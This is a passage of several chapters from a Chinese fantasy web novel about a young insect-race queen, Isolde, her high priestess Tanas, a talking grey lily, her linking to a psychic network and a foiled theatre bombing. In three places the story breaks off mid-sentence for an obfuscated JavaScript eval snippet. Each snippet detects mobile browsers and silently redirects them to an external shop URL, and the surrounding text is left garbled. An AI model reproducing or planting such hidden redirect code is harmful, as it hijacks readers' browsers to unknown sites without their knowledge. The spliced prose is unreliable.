“没关系,侍女会做好的。”塔纳斯从伊索尔德身后走出来,手上不知何时多了几个做工精巧的发饰,从发带到发卡应有尽有,颜色五彩缤纷,每一款都精致而华美,佩戴起来也舒适方便,力求全方位无死角让王虫在任何情况下都能感到舒适。 毫无准备的克索震惊地看了塔纳斯一眼,得到后者一个矜持而充满着胜利者光芒的微笑。 不愧是侍奉王虫最久的祭司,专精武器研究的科学院院长甘拜下风。 “您更喜欢哪个?”塔纳斯将花花绿绿的发饰在伊索尔德面前摊开,她的语气温柔极了,“现在这样并不方便行走,也许扎起来会更好一些。” 伊索尔德的目光很明显被各种闪闪发光的发饰吸引了,视线扫来扫去,游移不定。 “其实我这里也有。”不甘心就这样输了的克索不动声色从空间纽里掏出一条发着光的绳子,微笑着在王虫面前蹲下,“殿下试试看?” 发饰只有束发的功能未免太单一了,克索认为还是这种取下来抖一抖就能变身量子鞭的科技产物更加合适。 塔纳斯脸上的笑容淡了一些,“我想殿下还没有寒酸到要拿一条鞭子束发。” 克索呵呵一笑,“兼具攻击与实用的工具才是新时代的潮流。” 两只虫族各不相让,昨天的虚假和平一去不复返,取而代之的是充满着硝烟味的对话。 伊索尔德...伊索尔德其实完全不能理解她们为什么看起来快要吵起来了。她只是本能地端水,先从塔纳斯手里拿了一条深绿色的发带,然后又接过了克索的绳子。 “我都喜欢。”伊索尔德乖巧地说。 银发绿眼的女孩站在原地,与蹲在地上两只虫族视线平齐,眼里仿佛闪动着璀璨的星星,她微微笑了一下,眼下的鳞片随之明亮一瞬,虫族本能地忽视了她身上的危险气息,只觉得自家的王就像陶瓷娃娃一样可爱。 塔纳斯和克索脸上都露出了一种被萌到了的表情。其中以曾经去其他星系游学过的克索最为明显,金发蓝眼的虫族脸上甚至不自觉带上了迷醉的微笑。 “我的荣幸。”她们不约而同地开口说道。 两道声音重合在一起,塔纳斯瞥了克索一眼,自然地接过了王虫手里的发带与光绳,她的手中出现了一把小小的木梳,细心地为伊索尔德打理起头发来。 柔顺光滑如绸缎的银发被分成两半梳好,先把过长的部分包在里面,再用光绳和发带扎在发尾做点缀,塔纳斯给王虫简单扎了一个双马尾辫。 伊索尔德转了个圈,满意地看到头发非常稳固,依然保持着原样, 她十分真诚:“谢谢你,塔纳斯。没有你我都不知道该怎么办。” “这是我应该做的。” “也谢谢克索。”伊索尔德轻轻握了一下她的手,“是我让你担心了。” 如果不是因为担心,不会选择送给她这种可以当武器的光绳。封印和死亡带来的冲击太大,以至于她对王虫的爱有一部分转为了过度的保护欲。 “不...这没什么。”克索没想到王虫会注意到这点,她有点手足无措,“您平安无事才是最重要的。” “相信我。”伊索尔德轻柔地说。 此刻已是黄昏,薄暮般的光彩照耀在她身上,又在背后拉出长长的阴影。 那阴影像死亡一样黑暗,如附骨之疽缠绕着她,似乎随时准备把她拖进去。 而她只是站在光暗交界地,堪称轻蔑地笑了一下。 “我不会死的。” ... 王城出现后第三天,各座城池的接驳工作都已经基本完成,原本封闭的港口也陆陆续续开放。 高阶虫族有条不紊地推进着后续事项,其中之一就包括王城的翻新与入住。 由于王城与王虫深度绑定,本身并不是一个稳定存在的建筑。虫族已经习惯了将科学院、军团、学院、试炼场等需要长期投入的设施安置在王城外面,而使得王城作为单纯的精神象征存在。 但王城虽然是专属于王虫的居所,也依然需要一定的虫族进行定期维护,在空旷数百年后,如何挑选合适的的虫族入住也是一项繁琐而头疼的工程。 首先,要选拔一批武力值高的虫族作为护卫队,具体数量和选择范围可以根据以往惯例适当做一定调整。 其次,要选择一批承担各类杂务的侍从,在王城里主要负责培植养护各类鲜花,烹饪菜肴,打扫清洁,缝纫衣物等各种与王虫生活起居息息相关的事情。 接着,还要挑选知识渊博的虫族来为王虫讲解各类知识,简单来说,就是给王虫上课。大祭司个体的知识终究是有限的,而王虫的好奇心是无限的,纵观历史就可以发现,源源不断的奇思妙想属于王虫的天赋技能。 最后,则是根据王虫的喜好挑选一批送入王城,这部分可以暂缓不提,因为如今的伊索尔德光是学习压制自己的力量就够忙的了,委实抽不出太多时间往外跑,她成年前的生活肉眼可见只能在王城中独自度过,只有等到长大后才有离开星系四处游玩的机会。 也因此,伊索尔德表示这部分名额可以由塔纳斯等自由做主。 然后塔纳斯就给她送来了一盆灰百合。 伊索尔德沉默了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467408|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她觉得这盆花真的是异常眼熟,如果没看错的话,可能自己还救过它的命。 “塔纳斯?”她用询问的目光看向大祭司。 “您还记得精灵族的礼物吗?”大祭司看起来也有点无奈,“布兰说这盆花很喜欢您,所以希望您能允许它暂时留在王城里。”她本来有机会把这盆金贵异常的花送回去的,如果不是布兰当机立断直接拉开传送门的话。 精灵族一向有想一出是一出的抽风传统,布兰甚至体贴地留下了一本鲜花种植养护基础知识大全和一大袋多到足够买下VI级星球的流光金作为自己抽风的补偿。 可能他也知道灰百合的要求十分无厘头,但又碍于其贵重的身份无法拒绝,所以干脆趁着任期结束直接跑路,反正两家关系好,虫族也不会因为这种事生气。 虫族确实不至于因为这种事情生气,塔纳斯只是觉得有些头疼。毕竟灰百合的身份特殊,出了什么事真的不是很好解释。 “精灵族不是很看重它吗?”伊索尔德有些不解,她拨弄了一下灰百合的叶子,被不轻不重抽了一下。看样子它还没睡醒,不是很高兴被打搅睡眠。 “我也不知道。”塔纳斯叹息,“精灵族一向很敬重‘花园’里的植物。” “可能是觉得我们这边环境好?比较适合种百合花?” 塔纳斯默了一下,没有违心地肯定王虫的话,“也许吧。” “没关系,就放在我这里吧。”伊索尔德又捏了捏百合花的叶子,这次用力很轻,像在抚摸一片云朵,“我会好好照顾它的。” 听闻此言,灰百合伸了伸叶子,慵懒地合拢一朵花苞又张开,柔软的花瓣拂过伊索尔德的脸颊。 仿佛在说:不错,你很有眼光。 伊索尔德笑了一下,眼中光华流转,如同最深沉又最美丽的宝石。 “它有名字吗?”她抬头问。 塔纳斯摇了摇头,“布兰说要等它自己取。” 就像王虫一样,“花园”里诞生的植物自有其特殊之处,拥有灵智并不是什么很奇怪的事情。 “那就还是灰百合吧。灰百合...苏珊?我记得这个名字也是百合的意思。可以暂时先这样叫你吗?” 灰百合卷了卷叶子,点了点,意思是没问题。 “你真好,苏珊。谢谢你,你是我的第一个朋友。”王虫捧着百合花转了一圈,认真赞美道,“你的叶子很漂亮,和我的眼睛一样,都是绿色的。我喜欢你。” 百合花原本沉睡的花苞都一下子炸开了,它颇具灵性地点了点伊索尔德,似乎在思考要怎么回报她的这番话。 良久,银白的光晕从它的身上散开,转眼间就化作一顶小小的百合花发冠。深绿的叶子上有灰白色的百合静静开放,像珍珠一样泛着光。 发冠轻轻浮起,又在空中变幻了好几种模样,发梳、耳钉、项链、手镯......它一一变完,又停在伊索尔德面前,催促着她选择一样。 “你要送给我礼物吗?”伊索尔德想了想,“我喜欢第一个。” 话音刚落,百合发冠轻轻落到了她的头上。 9. 学会说话的灰百合 清晨,明澈的光映照出了空气里的微尘,侍从们正匆匆往返将近些年新出现的新品种搬入花圃:金属质感的绿竹,鲜艳如新绘的新月石榴,攀爬在古旧窗沿附近的古藤......无数种花卉被按照计划一一埋入土中,在伊索尔德居住的宫殿外面交织出一幅色彩缤纷的图画。 最近刚刚下过一场小雨,王虫坐在宫殿与外部相连的台阶上,惬意地感受着雨后清新的气息。苏珊被放在她旁边,微微摇摆着叶子。 “塔纳斯说过几天就要上课了。唉,真不知道我什么时候才能长大。”伊索尔德的膝盖上端着一盘流光溢彩的矿石,她咔擦咔嚓吃完一块,望着不远处来来往往的虫族。 “你长得比我快多了。”她叹息,藏在头发里的百合花耳坠摇晃一瞬。自从伊索尔德对百合花冠表现出明显的兴趣之后,塔纳斯就在她的生活中添置了不少与百合花有关的东西。 灰百合在这些日子里已经长大不少,连花盆都已经换了两三个。它耸了耸叶片,也不知道为什么伊索尔德会长得这么慢,即便不断接受以塔纳斯为首的虫族投喂,她的身高和面容依然毫无变化。 “可能是量变引起质变。”伊索尔德沉思,她忽然抬头,口中吐出一串陌生的语言,“也就是说,只要我相信自己会长高,我就一定会长高。” “通用语没学好就先别乱说话。”百合花终于忍不住开口了,它在王城已经待了不算短的一段时间,即便远离众绿之庭也没妨碍它进化出初步的发声能力,在得到伊索尔德同意后,它很愉快地采用了伊索尔德的声线,“你后面那句话很明显是唯心主义。” “要多锻炼才会有进步。”伊索尔德换回了虫族的语言,双手垫在下巴上,“你看,我刚刚就学会了要怎么用通用语表达自己的心愿。” “但是我会混淆。”苏珊抗议,“我只是一株刚刚长大的百合花。” “那样你就可以陪我一起写语言学作业了。”伊索尔德眨眨眼,“呀,塔纳斯来了。” 白发白眼的虫族从重重绿影后出现,她拂开了阳台的幕帘,走到伊索尔德背后。 “塔纳斯。”王虫含着笑叫她,把苏珊挪到自己左边,又伸手拍了拍空出来的位置。 大祭司从善如流在她身边坐下。 “殿下已经习惯了封印吗?” 经过封印之后,伊索尔德身体里的力量只保留到三阶,为了在封印限制范围内能够最大化利用自己的力量,伊索尔德最近一直在族内老师的教导下学习如何更加精细地操作精神力。 “差不多吧。”伊索尔德想了一下,“老师昨天说,得尝试接入精神网络了。塔纳斯是告诉我这个的吗?” 大祭司颔首,“我们的很多资料都记载在精神网络中,殿下接入之后,会方便很多。” 能够跨越星系进行沟通的精神网络无疑是恐怖的,要接入这样的存在并不容易,所需的力量比比唤醒王城还要更多,以防万一,历代王虫都会在自己的大祭司陪伴下尝试进行这一工作。 “嗯。”伊索尔德低下头,仔仔细细从盘子里挑出一块银白色的石头。 “那就现在吧。” ...... 伊索尔德回忆这些天老师讲过的话,开始将自己的“丝线”拆得更细,尽管总量没有发生变化,但是数量却翻了几番。层层密密的线将她缠绕,又慢慢向塔纳斯伸出手,后者毫无保留地敞开自己的大脑,深绿光点瞬息成形,在她的意识海里,王虫的线已经与她连接在一起。 “比我想的要简单。”伊索尔德蹦了蹦,又向远处放出更多的力量。 精神网络就像独属于虫族的星网,她们借此沟通、交流,而伊索尔德要做的就是登录自己早已经注册好的管理员账号。 无数信息在伊索尔德眼前一掠而过,丝线将越来越多的虫族链接在一起,如果有人在此时从上往下看去,就会发现阿斯塔星上的虫族都在某一瞬短暂地停滞了一下。她们从未如此清晰地感受到王虫的存在,全部心神都留在了那抹深绿色的光点上。 她们不约而同微笑了起来。 阿斯塔星的精神网络已经迭代完毕,伊索尔德开始尝试接入更远的地方。 第六星系的混乱众所周知,第二军团就驻扎在这里,她们中的一部分正在与敌人交手,艳蓝色的光芒不断从星舰的炮口中喷吐而出。 这是一伙在第六星系徘徊许久的流浪星盗,伊索尔德匆匆瞥了一眼,她慢慢降下了自己的“目光”,投注在了星盗的身上。 “嗯...”她看到许多不属于虫族的光点,精神脆弱如纸,要很小心控制力气才不会将其戳破。 通过阅读那些光点,伊索尔德很快就弄清楚了他们到底为什么出现在这里。 “来打劫虫族?”她有些困惑地念了一遍,为这群星盗的不自量力感到震惊。先不说在第二军团只是出动了一个分队就把他们打得快要溃散,就说虫族在宇宙中留下的赫赫凶名,多少种族躲都还来不及。 “太勇敢了。”王虫评价,她不再流连,飞速离开了。 她没有看到,在她抽回自己精神力的那一刻,这群星盗就已经全部停下了动作——王虫的力量足够霸道也足够恐怖,哪怕只是接触一丁点都会在灵魂上留下不可逆转的损伤。 他们在精神上已经湮没。 ...... 宫殿中。 伊索尔德的本体眼眸微垂,一动不动如同陶偶。总是带着笑的脸上失去了表情,过分苍白的侧脸像白茫茫的雪地,银色的眼睫颤动不止,像有雪花在上面坠落。 不悲不喜的神明垂下眼,短暂被手中发着光的石头照亮了脸庞。 她不知看见什么,静静微笑了一下。 ...... 虫族在六大星系均有分布,她还要去很多地方。伊索尔德感觉自己像一条鱼在海中畅游,那些迭代成功的精神网络中,不断有虫族追随在她的身后,如同洪流。 如此规模的精神力早已引起各方势力的注意力,他们看着力量毫无顾忌地扫过整个宇宙,丝毫不吝于承认自己的存在。 联邦中,有人抬起头,眺望着天空。 众绿之庭中,女王提坦妮娅的唇边浮现笑容。 被浮云遮蔽的岛屿中,一只遨游在空中的龙发出了长吟。 地下城中,宇宙联盟的议长出神地看着那道辉煌到不可思议的光。 她们都不约而同看向了同一个方向。 第六星系,迭代完毕。 第五星系,迭代完毕。 第四星系,迭代完毕 ... 第一星系,迭代完毕。 精神网络迭代已完成。 新一代王虫的精神力成功取代了先代的遗留,将自己的印迹刻在所有虫族的意识海之中。 无数信息流入伊索尔德的脑海之中,从今天起,所有虫族的所思所想将在她面前无所遁形,一如她对虫族那样。 伊索尔德睁开眼,眼中雾茫茫一片,似乎还沉浸在梦里未能醒来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467409|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “祝贺您,殿下。”塔纳斯没有说话,但是她的意思却清晰地传递到了伊索尔德心中。与此同时,无数道祝贺从无数虫族心中迸发,克索、弗洛塔、余、纳斯、明栀子、于......不管身在何地,她们的心情都毫无保留地传递给了王虫。 伊索尔德感觉自己的意识海里升起了巨大的烟花。她快乐地笑了,像小鸟一样扑进了塔纳斯怀里。 塔纳斯僵硬一瞬,试探般地将王虫搂入怀中。 “迭代完成了!”她欢呼。 “是的,”塔纳斯说,“接下来就是您的时代了。”她简直迫不及待看到那一天的到来。 “我在迭代的时候看到好多人,还有龙、精灵、人鱼和羽蛇,”伊索尔德咦了一声,“还有一个我没记清楚长什么样。” “宇宙好大啊。”她感叹,“我感觉自己跑了好远,原来世界上还有紫色的太阳。” “其实还有橙色、红色、绿色以及蓝色的。”塔纳斯轻咳一声,“如果您感兴趣的话,可以在精神网络里看到相关的图片和记录。这些都是非自然天体,阿斯塔星上也有,您想要给它们换个颜色吗?” “嗯?”伊索尔德看了看天上橘红色的太阳,又想了想那些太阳的光线。 她斩钉截铁,“我觉得这样就很好。”看起来最舒服,对眼睛很好。 塔纳斯轻柔地笑了一声,“遵从您的意见。” 王虫兴致勃勃询问灰百合的意见,“苏珊呢?苏珊觉得紫色的太阳怎么样?” “我比较喜欢白色的太阳。”百合花懒洋洋伸了个腰,发出了跟伊索尔德一模一样的声音,它刚刚为了不打扰伊索尔德一直保持着沉默,因为阳光太好,还顺便打了个盹。 “白色的太阳?”伊索尔德挑眉,“那不会很亮吗?” “嗯...”苏珊思考了一下,“我觉得还好吧,那种颜色跟通常的白色不太一样,更柔和。像你手上这块矿石。” 王虫低头看了看那块矿石,它已经不知何时化作粉末,风吹过来,将其扬起,飘飘洒洒送往远处。 “不,我还没吃...”她痛苦面具,“我还没吃到是什么味道的。” 由于身体原因,她每天的进食数量都有规定,这一块没有了就是真的没有了,也不会有谁敢给她加餐。加上每个虫族对矿石味道的感觉都不一致,她也没办法去问塔纳斯那是什么味道的。 “明天再吃嘛。”百合花笑嘻嘻的,“你今天吃了好多,小孩子该睡觉了。” 为了让身体得到充足休息更好成长,伊索尔德早早失去了熬夜的权力。 天边的太阳慢慢落下去,复古样式的风铃叮铃作响。塔纳斯把伊索尔德轻轻放到一旁,替她整理了一下压出褶皱的衣角。 伊索尔德充满希望地看向她。 “不行哦,今天的已经吃完了。”说完,塔纳斯又无比温柔地问道,“您真的很想吃吗?” 伊索尔德莫名打了个寒战。 “也没有那么想。”她干笑了一下,从地上一跃而起,飞快冲进了卧室。感谢科技,能够全自动帮她在三十秒之内完成洗漱工作。 “塔纳斯晚安,我先睡觉了!” “晚安。祝您好梦。”塔纳斯关上门,向旁边自己的卧室走去——大祭司本来不住在这,但是自从伊索尔德上次把自己弄得一身血之后,她就果断搬离了本来的住所。 室内一片黑暗,苏珊在床头收拢了自己的花瓣和叶片。 伊索尔德闭上眼,沉入睡梦之中。 10. 选课与机甲与人鱼 伊索尔德趴在床上,时不时提笔在面前的光屏上勾画。一行行课程整齐排列在她面前,涉猎范围从机甲到历史,从天文到地理,从生物到战争。五花八门,无所不包。 在接入精神网络后,伊索尔德就正式开始了自己作为王虫的生活,具体来说,就是她要准备开始上课了。 课程主要分为族内和族外两部分,前者以历史和政治为主,旨在培养王虫的政治素养,帮助她更好地处理族内事务。后者则是因为虫族一向有成年后外出游学的传统,所以要提前了解一些外界的知识,为以后做准备。族外课程以王虫的兴趣为主,由其自行选择。 伊索尔德现在就正在填写后者的课表。 《常见矿物一百种及分布地》 《政治与经济的基础构造——以孤岛实验为例》 《时间、空间与未解之谜》 《宇宙百科全书》 《机甲入门一百问》 ...... 伊索尔德凝视着光屏,手中的笔缓缓停了下来。 上面已经选定的课程和族内的加起来,足够填满她从现在到成年的全部空闲。 “好像有点太多了?我是不是应该空一些出来。”她有些不确定。 坐在床边的塔纳斯侧过身看了看王虫的规划,手指虚虚点了几下,划出几门类型重合的,“这些内容都差不多,您感兴趣的话,选择其中一门即可。” 伊索尔德划去多余的,在最后两门课之间犹豫不决。她对机甲制造很感兴趣,但是园艺相关也无法放弃。 被王虫又一次以目光求救的大祭司给出了自己的解决办法,“可以让精通这两门课程的老师把内容压缩在一起,不过会辛苦一点。”作业也会翻倍。 “不过如果是机甲的话...我们并不依赖机甲进行战斗,族内对此有研究的也算不上多,最多只能起到入门的作用。人类在这方面很有研究,您需要的话,可以让克索去跟帝国沟通一下。” “帝国会愿意吗?”伊索尔德疑惑,她记得自家跟帝国关系还蛮差的。 “可以告诉他们不派人过来的话就轰炸星港。”塔纳斯温柔地说。 “这不会引起外交事故吗,”伊索尔德有点心动,“我记得我们好像跟人类签了和平条约。” “您还记得之前的历史课吗?在领航者事件后,人类被分成了联邦和帝国两部分。” 伊索尔德点头,“联邦依赖科技,帝国则更看重异能者。它们共同分食了太阳帝国的遗产,在宇宙联盟中享有平等的权益与地位。” “正是如此。因为过分看重异能的作用,帝国十分排斥普通人,加上他们对机甲技术相当不屑,前几任皇帝流放了不少具有机甲才能的普通人到边境。她们在边境秘密组建了黑市,只要报酬足够,我相信能找到合适的老师。” “那就这样办吧。”伊索尔德确定好最后一门课程,关闭光屏。她在床上滚了滚,被自己的头发包得像蚕蛹。 她放空目光,慢慢把自己蹭到塔纳斯身边。 “啊,”她嘟哝一声,“今天好像没有事做了,有点无聊。” 塔纳斯想了想,提议道:“时间还早,您可以去不夜城逛一逛。” 阿斯塔星上一共有十六座城市,各有特色,不夜城以开放与娱乐出名。 “嗯...”王虫又翻了个身,“我记得苏珊好像也去那里了,据说是看什么演出。” “是白椿的演唱会。一位出身人鱼族的歌星。” “人鱼啊...”伊索尔德喃喃,想起之前接入精神网络时看到的场景。 一望无际的大海深处生活着无数人身鱼尾的生物,她们有着与人类相似的外表,但生理构造却完全不同。那些貌美的人鱼手臂和面颊上都覆有鳞片,修长有力的尾巴能轻易掀起海浪。 “人鱼王很好看,”伊索尔德认真评价,“黑色的尾巴像星空一样,还会闪光。而且性格也好温柔,她发现我一直在看她的尾巴后,还送了我一块鳞片。” 说到这里,伊索尔德从自己的裙子里掏了掏,掏出来一块流光四溢的黑色鳞片。 鳞片上满是刻痕,边缘锋锐,轻而易举就划开了伊索尔德的手掌。一丝血线缓缓浮现,塔纳斯默了默,感觉有些心梗。 “她可能并不是…在跟您打招呼。” 黑尾人鱼性情凶残且好斗,当察觉到有陌生气息靠近自己的时候,最有可能做出的举动是直接一尾巴抽过去。按照塔纳斯对现任人鱼王的了解,对方很有可能只是在对这个突兀闯入自家领地的虫族表示不爽。 “精神网络并不具备传送的功能,您是怎么把它带过来的呢?” “我刚刚只是想了一下。”她似乎也有些困惑为什么,“然后就感觉口袋里突然沉甸甸的,好像有什么东西在里面。” “可以让我看一下吗?” 伊索尔德把鳞片放到塔纳斯的手上,大祭司把人鱼王的鳞片放在一边,又从空间纽里拿出以前收集到的鳞片进行对比。两者看起来一模一样,无论是颜色,还是外表,甚至连锋利程度都没有任何区别,一定要说的话... “太新了。”塔纳斯说,“虽然复刻了原本的花纹与伤痕,但是并没有血的气味残留。我猜您的这片是根据回忆构造并复制出来的。” 虫族的能力体系以精神力为主,但也不乏觉醒其他异能的例子。伊索尔德也许无意间觉醒了与复制或构造有关的异能,只是到现在才发现。 塔纳斯推测,人鱼王大概只是顺手投掷了一块鳞片当暗器,结果却被自家王误以为是礼物,并无意识复制了出来。 “这是好事。”强大没什么不好,塔纳斯乐于见到王虫拥有更多力量保护自己,而且这在一定程度上也能够减少伊索尔德对精神力的依赖,不至于让她又很快回到之前的状态。 她把两枚鳞片都放回伊索尔德手中,“人鱼的鳞片很锋利,请您小心。” 伊索尔德把它们收好,忽然想起来什么。 “塔纳斯为什么也有人鱼王的鳞片?” 大祭司笑得很含蓄,“以前游学时年轻气盛,跟人鱼王打过几架。” “塔纳斯以前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467410|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格跟现在很不一样啊。”伊索尔德从床上坐起,把头发粗暴捋到背后,瀑布般的银发像凝练的月华那样倾泻下来,“长大后都会这样吗,我也会这样吗?” “那就看您自己的选择了。”塔纳斯语气温和,“外面的世界跟阿斯塔星大不一样,也许到时候您会有别的感悟。” 伊索尔德眨眨眼,开始畅想以后,“游学的地点我已经想好了,先去第三星系逛一圈,然后去看看人鱼,龙族和羽蛇可以等到以后再说,反正他们活得很长,不用担心看不到。等玩够了就去找个学校上学。听说亚达娜尔思学院里有全宇宙最美丽的花,不知道会不会对新生开放。” 亚达娜尔思学院是六大星系中排名第一的学院,它只开设六个大类专业,因为其优秀的毕业率与师资力量吸引了全星系的天才报考。 毕业于此的学生在未来的选择上非常自由,她们可能选择任何地方、任何职业作为自己的努力方向,一段又一段传奇因此流传在六大星系的每个地方。 “亚达娜尔思学院设有交换生制度,您可以以高阶虫族的身份递交申请。只是记得别用本名。” “嗯?”伊索尔德疑惑。 塔纳斯缓缓道:“因为他们会害怕。每一位阿斯塔降生于世后都将使整个宇宙震动,没有谁能说清为什么,也许只是命运。” 命运使得阿斯塔的姓氏长久镌刻在每个种族的心中,和她们短暂的生命相比,甚至有些讽刺。 阿斯塔的早逝在宇宙里并不算秘密,那些光芒万丈的天才飞快地长大,然后,又飞快地死去。 她们就像流星一样匆匆到来又离去了。 这是虫族心中永远的隐痛。 ... 伊索尔德沉思着,似乎在思考着什么。而塔纳斯的目光投向更远处,与广场上母亲的雕像对视。 即便种种征兆似乎在预示着此代王虫的早夭,但塔纳斯依然相信她会拥有与先代们不同的命运。她看到过星辰的预言,知道这种命运会在伊索尔德身上结束。 就像她看到了“母亲”给出的答案一样。 命运。伊索尔德在心底慢慢念了一遍这个词,突然感觉到一种莫名的熟悉感。似乎也曾经有谁以这样的语气对自己提起过这个词,但是这种感觉如同砂砾般脆弱而易逝,它被海浪冲垮,只在伊索尔德心中一闪而过,留下潮湿的沙滩。 她抬起头,忽然觉得塔纳斯的身上流露出一种深深的寂寞。仿佛在沙漠里走了太久,已经分不清眼前的到底是绿洲还是海市蜃楼。 她知道为什么。 年幼的脸上浮现了某种近似于安慰的神情,在这一刻,她看起来似乎比塔纳斯这位大祭司更为年长。 “在故事里,这种命运都是会被打破的。”伊索尔德对她说,“勇者反复在同一条道路上受伤,最后也会走到尽头成功斩杀魔王。魔王战胜了不死,而勇者打破了不胜。” “塔纳斯喜欢这个故事吗?” 塔纳斯白色的眼睛里出现了一种复杂的神光。 “没有比这更喜欢的了。”她回答。 11. 演唱会与炸弹与舞蹈 不夜城。 白山茶剧场的后台。 有着白色长尾的人鱼正神情悠闲地趴在水箱里的贝壳里,有一搭没一搭地拍着水花。她的眼睛是淡淡的红色,一眼望过去时,让人想起鲜血在水流中缓缓垂落的场景。人鱼的容貌向来无需多言,她仅仅是存在,就像黑夜中的珍珠一样难以忽视。 舞台正在进行最后的调试,五颜六色的灯光掠过宽阔的剧院,前来参加演唱会的观众们神情兴奋,在各自的座位上小声交谈。 经纪人匆匆走进放置着巨大水箱的房间。 “时间到了?”还在假寐的白椿懒洋洋问。 空灵近妖的音调在室内散开,经纪人恍惚一瞬,又很快清醒。 “出事了。”她神情严肃,“你想一想最近有没有得罪谁,刚刚在排查的时候发现了大量炸弹,足够把整座剧院轰上天的分量。”怕白椿不上心,她又补充了一句,“包括你。” 白椿的尾巴缓缓落下来,她不笑了,脸上显出一种混合着困惑和震惊的神情。 谁敢在虫族领地上挑事,不怕被追杀到天涯海角吗。虫族从来不讲道理,她们说杀你那就是真会杀你,上一个想这么干的现在坟头草应该已经有三丈高了。 话虽如此,白椿还是努力回忆了一下,她开始思考到底是谁这么费尽心机想要搞自己。 “不行,想不过来。太多了。”她放弃了,翻了个身,整条鱼直愣愣看着水面。 出身人鱼族的白椿一向没心没肺,与声音和美貌一同闻名全星际的还有她的脾气,如果说有人想整她,白椿可以自信地表示我明白,百分之八十的都想。 但是在虫族领地上搞事还是太有勇气了,她表示敬佩。 经纪人也知道她的德行,当下叹了口气,按下墙壁上隐蔽的按钮。 水箱里的水位开始缓缓下降,一直落到白椿的腰际。她把贝壳合上,费劲抖了抖自己尾巴上的水。 鳞片褪去,一双雪白的长腿出现。 “通知治安队了吗?”白椿接过经纪人递来的演出服套上,“话说应该通知疏散吧,还是说已经来不及逃出去所以干脆破罐破摔在死前再唱一场?”她顿了一下,“先说好,我对死亡演唱会的创意兴趣不是很大。活着还是挺重要的,如果看不到那些人跳脚,我不敢想我的生命将多无聊。” “对委员会好点。”经纪人无奈扶额,“另一个消息,炸弹已经被解决了。” 白椿撑着经纪人的肩膀穿鞋,“哇。是好心市民路过吗?真感谢,我会记得给她一面锦旗的。想要专辑亲签也行。” “用不着你,好好唱歌就行。”经纪人把她摁回椅子上,把纠缠在一起的鞋带挨个解开又系好,“不是好心市民,但也差不多了。” 该说是运气好还是不好呢... 她叹气,“恭喜你开出了隐藏成就,虫族的王来听你的演唱会了。” “这可真是...”白椿缓慢眨了眨眼,“好大一个惊喜啊...” —— 如果说白椿那边还算是惊喜的话,那么对于策划这起爆炸案的犯罪者来说,路过的王虫就只能算作惊恐了。 谁也不知道为什么这位被虫族严密保护的存在会突然出现在小巷口,更不知道为什么这届王虫看起来如此具有迷惑性,以至于让他们萌生了杀虫灭口的想法。 也许他们本来有机会逃跑的,如果在看见陌生人时没有那么及时举起枪的话。 “我记得这类枪支在虫族领地里是违禁品,各位不担心被治安队抓走吗?” 年幼的虫族偏了偏头,脸上满是天真。 犯罪头子不屑于与此等小孩多言,当即扑了上去,然后就被摁在了地上,爬都爬不起来。 他甚至没有看清楚这只虫族是如何出手的,那张稚嫩的脸上连神情都未曾变过,望着他们的目光就如同刀锋一样冰凉。 伊索尔德微微叹了口,不明白为什么塔纳斯只是稍微离开了一会儿,自己就能碰见这种意外事件。此类情况完全可以被归为挑衅,作为这片领地实质上的所有者,她选择积极发挥主场优势,将这群不法分子统统送进监狱里蹲大牢。 王虫真是个高危职业啊。伊索尔德目送着他们被治安队拷走,深沉地想。 ...... 时间一点点推移,最后的调试也已经完成。 伊索尔德坐在包厢里,百无聊赖地等待着。 这是为想要独自观看演出的客人所准备的包厢,等到演唱会正式开始,悬挂在角落里的放映机就会将整个房间笼罩进去,营造出如临其境的氛围。 刚刚成功会合的苏珊在她旁边梳理枝叶,时不时丢下几片接近枯萎的叶片。 “苏珊。你每天都掉叶子不会秃吗?”伊索尔德偏了偏头。 “你这话听起来真的挺像诅咒的。”灰百合评价,一边修剪自己的花枝,一边回答伊索尔德的问题,“不会。我再说一遍,身为精灵族出品的花卉,我们永远都可以保持在盛放的状态。不会凋谢,不会掉发,不会被外力干扰。噢,要死了另算。”它耸耸肩,“毕竟再怎么说,我们本质上也就是一朵花嘛。花是很珍贵也很脆弱的。” 推门进来的塔纳斯没有对她们的对话发表看法,她在伊索尔德身边坐下,将一份资料传给了王虫。 “嗯?”伊索尔德一边看,一边发出了疑惑的鼻音,她想到当初那群妄图打劫第二军团的人,“最近来找麻烦的是不是有点太多了?” 六大星系文明众多,大家虽然彼此之间摩擦不断,但还是默契地控制在了一定范围。像这样试图在一族母星安装大范围杀伤性武器的已经可以被看做精神失常了,如果真的成功,不仅虫族有所损伤,被这场爆炸牵连到的任何一个文明都不会善罢甘休。 